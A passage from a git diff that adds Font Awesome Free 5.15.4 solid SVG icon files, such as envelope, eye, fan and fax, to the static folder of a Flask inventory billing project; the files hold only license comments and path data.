41.43-23.211.344-56.559-29.143-73.413-41.43-50.114-36.37-82.734-60.204-105.582-77.079-3.639-2.688-8.776-1.821-11.339 1.907l-9.072 13.196a7.998 7.998 0 0 0 1.839 10.967c22.887 16.899 55.454 40.69 105.303 76.868 20.274 14.781 56.524 47.813 92.264 47.573 35.724.242 71.961-32.771 92.263-47.573 49.85-36.179 82.418-59.97 105.303-76.868a7.998 7.998 0 0 0 1.839-10.967l-9.071-13.196z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/envelope-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/envelope-square.svg new file mode 100644 index 00000000..6d765fe2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/envelope-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM178.117 262.104C87.429 196.287 88.353 196.121 64 177.167V152c0-13.255 10.745-24 24-24h272c13.255 0 24 10.745 24 24v25.167c-24.371 18.969-23.434 19.124-114.117 84.938-10.5 7.655-31.392 26.12-45.883 25.894-14.503.218-35.367-18.227-45.883-25.895zM384 217.775V360c0 13.255-10.745 24-24 24H88c-13.255 0-24-10.745-24-24V217.775c13.958 10.794 33.329 25.236 95.303 70.214 14.162 10.341 37.975 32.145 64.694 32.01 26.887.134 51.037-22.041 64.72-32.025 61.958-44.965 81.325-59.406 95.283-70.199z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/envelope.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/envelope.svg new file mode 100644 index 00000000..2da8a009 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/envelope.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M502.3 190.8c3.9-3.1 9.7-.2 9.7 4.7V400c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V195.6c0-5 5.7-7.8 9.7-4.7 22.4 17.4 52.1 39.5 154.1 113.6 21.1 15.4 56.7 47.8 92.2 47.6 35.7.3 72-32.8 92.3-47.6 102-74.1 131.6-96.3 154-113.7zM256 320c23.2.4 56.6-29.2 73.4-41.4 132.7-96.3 142.8-104.7 173.4-128.7 5.8-4.5 9.2-11.5 9.2-18.9v-19c0-26.5-21.5-48-48-48H48C21.5 64 0 85.5 0 112v19c0 7.4 3.4 14.3 9.2 18.9 30.6 23.9 40.7 32.4 173.4 128.7 16.8 12.2 50.2 41.8 73.4 41.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/equals.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/equals.svg new file mode 100644 index 00000000..50441480 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/equals.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M416 304H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h384c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32zm0-192H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h384c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/eraser.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/eraser.svg new file mode 100644 index 00000000..bc5c01b3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/eraser.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M497.941 273.941c18.745-18.745 18.745-49.137 0-67.882l-160-160c-18.745-18.745-49.136-18.746-67.883 0l-256 256c-18.745 18.745-18.745 49.137 0 67.882l96 96A48.004 48.004 0 0 0 144 480h356c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12H355.883l142.058-142.059zm-302.627-62.627l137.373 137.373L265.373 416H150.628l-80-80 124.686-124.686z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ethernet.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ethernet.svg new file mode 100644 index 00000000..716048a3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ethernet.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M496 192h-48v-48c0-8.8-7.2-16-16-16h-48V80c0-8.8-7.2-16-16-16H144c-8.8 0-16 7.2-16 16v48H80c-8.8 0-16 7.2-16 16v48H16c-8.8 0-16 7.2-16 16v224c0 8.8 7.2 16 16 16h80V320h32v128h64V320h32v128h64V320h32v128h64V320h32v128h80c8.8 0 16-7.2 16-16V208c0-8.8-7.2-16-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/euro-sign.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/euro-sign.svg new file mode 100644 index 00000000..45235ab8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/euro-sign.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M310.706 413.765c-1.314-6.63-7.835-10.872-14.424-9.369-10.692 2.439-27.422 5.413-45.426 5.413-56.763 0-101.929-34.79-121.461-85.449h113.689a12 12 0 0 0 11.708-9.369l6.373-28.36c1.686-7.502-4.019-14.631-11.708-14.631H115.22c-1.21-14.328-1.414-28.287.137-42.245H261.95a12 12 0 0 0 11.723-9.434l6.512-29.755c1.638-7.484-4.061-14.566-11.723-14.566H130.184c20.633-44.991 62.69-75.03 117.619-75.03 14.486 0 28.564 2.25 37.851 4.145 6.216 1.268 12.347-2.498 14.002-8.623l11.991-44.368c1.822-6.741-2.465-13.616-9.326-14.917C290.217 34.912 270.71 32 249.635 32 152.451 32 74.03 92.252 45.075 176H12c-6.627 0-12 5.373-12 12v29.755c0 6.627 5.373 12 12 12h21.569c-1.009 13.607-1.181 29.287-.181 42.245H12c-6.627 0-12 5.373-12 12v28.36c0 6.627 5.373 12 12 12h30.114C67.139 414.692 145.264 480 249.635 480c26.301 0 48.562-4.544 61.101-7.788 6.167-1.595 10.027-7.708 8.788-13.957l-8.818-44.49z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/exchange-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/exchange-alt.svg new file mode 100644 index 00000000..50e9de40 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/exchange-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 168v-16c0-13.255 10.745-24 24-24h360V80c0-21.367 25.899-32.042 40.971-16.971l80 80c9.372 9.373 9.372 24.569 0 33.941l-80 80C409.956 271.982 384 261.456 384 240v-48H24c-13.255 0-24-10.745-24-24zm488 152H128v-48c0-21.314-25.862-32.08-40.971-16.971l-80 80c-9.372 9.373-9.372 24.569 0 33.941l80 80C102.057 463.997 128 453.437 128 432v-48h360c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/exclamation-circle.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/exclamation-circle.svg new file mode 100644 index 00000000..fdbcac7c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/exclamation-circle.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M504 256c0 136.997-111.043 248-248 248S8 392.997 8 256C8 119.083 119.043 8 256 8s248 111.083 248 248zm-248 50c-25.405 0-46 20.595-46 46s20.595 46 46 46 46-20.595 46-46-20.595-46-46-46zm-43.673-165.346l7.418 136c.347 6.364 5.609 11.346 11.982 11.346h48.546c6.373 0 11.635-4.982 11.982-11.346l7.418-136c.375-6.874-5.098-12.654-11.982-12.654h-63.383c-6.884 0-12.356 5.78-11.981 12.654z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/exclamation-triangle.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/exclamation-triangle.svg new file mode 100644 index 00000000..f8d6ed83 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/exclamation-triangle.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M569.517 440.013C587.975 472.007 564.806 512 527.94 512H48.054c-36.937 0-59.999-40.055-41.577-71.987L246.423 23.985c18.467-32.009 64.72-31.951 83.154 0l239.94 416.028zM288 354c-25.405 0-46 20.595-46 46s20.595 46 46 46 46-20.595 46-46-20.595-46-46-46zm-43.673-165.346l7.418 136c.347 6.364 5.609 11.346 11.982 11.346h48.546c6.373 0 11.635-4.982 11.982-11.346l7.418-136c.375-6.874-5.098-12.654-11.982-12.654h-63.383c-6.884 0-12.356 5.78-11.981 12.654z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/exclamation.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/exclamation.svg new file mode 100644 index 00000000..9106bb34 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/exclamation.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 192 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M176 432c0 44.112-35.888 80-80 80s-80-35.888-80-80 35.888-80 80-80 80 35.888 80 80zM25.26 25.199l13.6 272C39.499 309.972 50.041 320 62.83 320h66.34c12.789 0 23.331-10.028 23.97-22.801l13.6-272C167.425 11.49 156.496 0 142.77 0H49.23C35.504 0 24.575 11.49 25.26 25.199z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/expand-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/expand-alt.svg new file mode 100644 index 00000000..72bdee44 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/expand-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M212.686 315.314L120 408l32.922 31.029c15.12 15.12 4.412 40.971-16.97 40.971h-112C10.697 480 0 469.255 0 456V344c0-21.382 25.803-32.09 40.922-16.971L72 360l92.686-92.686c6.248-6.248 16.379-6.248 22.627 0l25.373 25.373c6.249 6.248 6.249 16.378 0 22.627zm22.628-118.628L328 104l-32.922-31.029C279.958 57.851 290.666 32 312.048 32h112C437.303 32 448 42.745 448 56v112c0 21.382-25.803 32.09-40.922 16.971L376 152l-92.686 92.686c-6.248 6.248-16.379 6.248-22.627 0l-25.373-25.373c-6.249-6.248-6.249-16.378 0-22.627z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/expand-arrows-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/expand-arrows-alt.svg new file mode 100644 index 00000000..0ff12be5 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/expand-arrows-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448 344v112a23.94 23.94 0 0 1-24 24H312c-21.39 0-32.09-25.9-17-41l36.2-36.2L224 295.6 116.77 402.9 153 439c15.09 15.1 4.39 41-17 41H24a23.94 23.94 0 0 1-24-24V344c0-21.4 25.89-32.1 41-17l36.19 36.2L184.46 256 77.18 148.7 41 185c-15.1 15.1-41 4.4-41-17V56a23.94 23.94 0 0 1 24-24h112c21.39 0 32.09 25.9 17 41l-36.2 36.2L224 216.4l107.23-107.3L295 73c-15.09-15.1-4.39-41 17-41h112a23.94 23.94 0 0 1 24 24v112c0 21.4-25.89 32.1-41 17l-36.19-36.2L263.54 256l107.28 107.3L407 327.1c15.1-15.2 41-4.5 41 16.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/expand.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/expand.svg new file mode 100644 index 00000000..d8dc015f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/expand.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 180V56c0-13.3 10.7-24 24-24h124c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H64v84c0 6.6-5.4 12-12 12H12c-6.6 0-12-5.4-12-12zM288 44v40c0 6.6 5.4 12 12 12h84v84c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12V56c0-13.3-10.7-24-24-24H300c-6.6 0-12 5.4-12 12zm148 276h-40c-6.6 0-12 5.4-12 12v84h-84c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h124c13.3 0 24-10.7 24-24V332c0-6.6-5.4-12-12-12zM160 468v-40c0-6.6-5.4-12-12-12H64v-84c0-6.6-5.4-12-12-12H12c-6.6 0-12 5.4-12 12v124c0 13.3 10.7 24 24 24h124c6.6 0 12-5.4 12-12z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/external-link-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/external-link-alt.svg new file mode 100644 index 00000000..b9b9522f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/external-link-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M432,320H400a16,16,0,0,0-16,16V448H64V128H208a16,16,0,0,0,16-16V80a16,16,0,0,0-16-16H48A48,48,0,0,0,0,112V464a48,48,0,0,0,48,48H400a48,48,0,0,0,48-48V336A16,16,0,0,0,432,320ZM488,0h-128c-21.37,0-32.05,25.91-17,41l35.73,35.73L135,320.37a24,24,0,0,0,0,34L157.67,377a24,24,0,0,0,34,0L435.28,133.32,471,169c15,15,41,4.5,41-17V24A24,24,0,0,0,488,0Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/external-link-square-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/external-link-square-alt.svg new file mode 100644 index 00000000..5e61cb5b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/external-link-square-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448 80v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48zm-88 16H248.029c-21.313 0-32.08 25.861-16.971 40.971l31.984 31.987L67.515 364.485c-4.686 4.686-4.686 12.284 0 16.971l31.029 31.029c4.687 4.686 12.285 4.686 16.971 0l195.526-195.526 31.988 31.991C358.058 263.977 384 253.425 384 231.979V120c0-13.255-10.745-24-24-24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/eye-dropper.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/eye-dropper.svg new file mode 100644 index 00000000..9ccadef9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/eye-dropper.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M50.75 333.25c-12 12-18.75 28.28-18.75 45.26V424L0 480l32 32 56-32h45.49c16.97 0 33.25-6.74 45.25-18.74l126.64-126.62-128-128L50.75 333.25zM483.88 28.12c-37.47-37.5-98.28-37.5-135.75 0l-77.09 77.09-13.1-13.1c-9.44-9.44-24.65-9.31-33.94 0l-40.97 40.97c-9.37 9.37-9.37 24.57 0 33.94l161.94 161.94c9.44 9.44 24.65 9.31 33.94 0L419.88 288c9.37-9.37 9.37-24.57 0-33.94l-13.1-13.1 77.09-77.09c37.51-37.48 37.51-98.26.01-135.75z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/eye-slash.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/eye-slash.svg new file mode 100644 index 00000000..53879ab4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/eye-slash.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M320 400c-75.85 0-137.25-58.71-142.9-133.11L72.2 185.82c-13.79 17.3-26.48 35.59-36.72 55.59a32.35 32.35 0 0 0 0 29.19C89.71 376.41 197.07 448 320 448c26.91 0 52.87-4 77.89-10.46L346 397.39a144.13 144.13 0 0 1-26 2.61zm313.82 58.1l-110.55-85.44a331.25 331.25 0 0 0 81.25-102.07 32.35 32.35 0 0 0 0-29.19C550.29 135.59 442.93 64 320 64a308.15 308.15 0 0 0-147.32 37.7L45.46 3.37A16 16 0 0 0 23 6.18L3.37 31.45A16 16 0 0 0 6.18 53.9l588.36 454.73a16 16 0 0 0 22.46-2.81l19.64-25.27a16 16 0 0 0-2.82-22.45zm-183.72-142l-39.3-30.38A94.75 94.75 0 0 0 416 256a94.76 94.76 0 0 0-121.31-92.21A47.65 47.65 0 0 1 304 192a46.64 46.64 0 0 1-1.54 10l-73.61-56.89A142.31 142.31 0 0 1 320 112a143.92 143.92 0 0 1 144 144c0 21.63-5.29 41.79-13.9 60.11z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/eye.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/eye.svg new file mode 100644 index 00000000..2a67e34f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/eye.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M572.52 241.4C518.29 135.59 410.93 64 288 64S57.68 135.64 3.48 241.41a32.35 32.35 0 0 0 0 29.19C57.71 376.41 165.07 448 288 448s230.32-71.64 284.52-177.41a32.35 32.35 0 0 0 0-29.19zM288 400a144 144 0 1 1 144-144 143.93 143.93 0 0 1-144 144zm0-240a95.31 95.31 0 0 0-25.31 3.79 47.85 47.85 0 0 1-66.9 66.9A95.78 95.78 0 1 0 288 160z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fan.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fan.svg new file mode 100644 index 00000000..386f6510 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fan.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M352.57 128c-28.09 0-54.09 4.52-77.06 12.86l12.41-123.11C289 7.31 279.81-1.18 269.33.13 189.63 10.13 128 77.64 128 159.43c0 28.09 4.52 54.09 12.86 77.06L17.75 224.08C7.31 223-1.18 232.19.13 242.67c10 79.7 77.51 141.33 159.3 141.33 28.09 0 54.09-4.52 77.06-12.86l-12.41 123.11c-1.05 10.43 8.11 18.93 18.59 17.62 79.7-10 141.33-77.51 141.33-159.3 0-28.09-4.52-54.09-12.86-77.06l123.11 12.41c10.44 1.05 18.93-8.11 17.62-18.59-10-79.7-77.51-141.33-159.3-141.33zM256 288a32 32 0 1 1 32-32 32 32 0 0 1-32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fast-backward.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fast-backward.svg new file mode 100644 index 00000000..d5cfa4f0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fast-backward.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 436V76c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v151.9L235.5 71.4C256.1 54.3 288 68.6 288 96v131.9L459.5 71.4C480.1 54.3 512 68.6 512 96v320c0 27.4-31.9 41.7-52.5 24.6L288 285.3V416c0 27.4-31.9 41.7-52.5 24.6L64 285.3V436c0 6.6-5.4 12-12 12H12c-6.6 0-12-5.4-12-12z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fast-forward.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fast-forward.svg new file mode 100644 index 00000000..05b7802f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fast-forward.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M512 76v360c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12V284.1L276.5 440.6c-20.6 17.2-52.5 2.8-52.5-24.6V284.1L52.5 440.6C31.9 457.8 0 443.4 0 416V96c0-27.4 31.9-41.7 52.5-24.6L224 226.8V96c0-27.4 31.9-41.7 52.5-24.6L448 226.8V76c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/faucet.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/faucet.svg new file mode 100644 index 00000000..cd664753 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/faucet.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M352,256H313.39c-15.71-13.44-35.46-23.07-57.39-28V180.44l-32-3.38-32,3.38V228c-21.93,5-41.68,14.6-57.39,28H16A16,16,0,0,0,0,272v96a16,16,0,0,0,16,16h92.79C129.38,421.73,173,448,224,448s94.62-26.27,115.21-64H352a32,32,0,0,1,32,32,32,32,0,0,0,32,32h64a32,32,0,0,0,32-32A160,160,0,0,0,352,256ZM81.59,159.91l142.41-15,142.41,15c9.42,1,17.59-6.81,17.59-16.8V112.89c0-10-8.17-17.8-17.59-16.81L256,107.74V80a16,16,0,0,0-16-16H208a16,16,0,0,0-16,16v27.74L81.59,96.08C72.17,95.09,64,102.9,64,112.89v30.22C64,153.1,72.17,160.91,81.59,159.91Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fax.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fax.svg new file mode 100644 index 00000000..3a6b6f3b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fax.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M480 160V77.25a32 32 0 0 0-9.38-22.63L425.37 9.37A32 32 0 0 0 402.75 0H160a32 32 0 0 0-32 32v448a32 32 0 0 0 32 32h320a32 32 0 0 0 32-32V192a32 32 0 0 0-32-32zM288 432a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32a16 16 0 0 1 16 16zm0-128a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32a16 16 0 0 1 16 16zm128 128a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32a16 16 0 0 1 16 16zm0-128a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32a16 16 0 0 1 16 16zm0-112H192V64h160v48a16 16 0 0 0 16 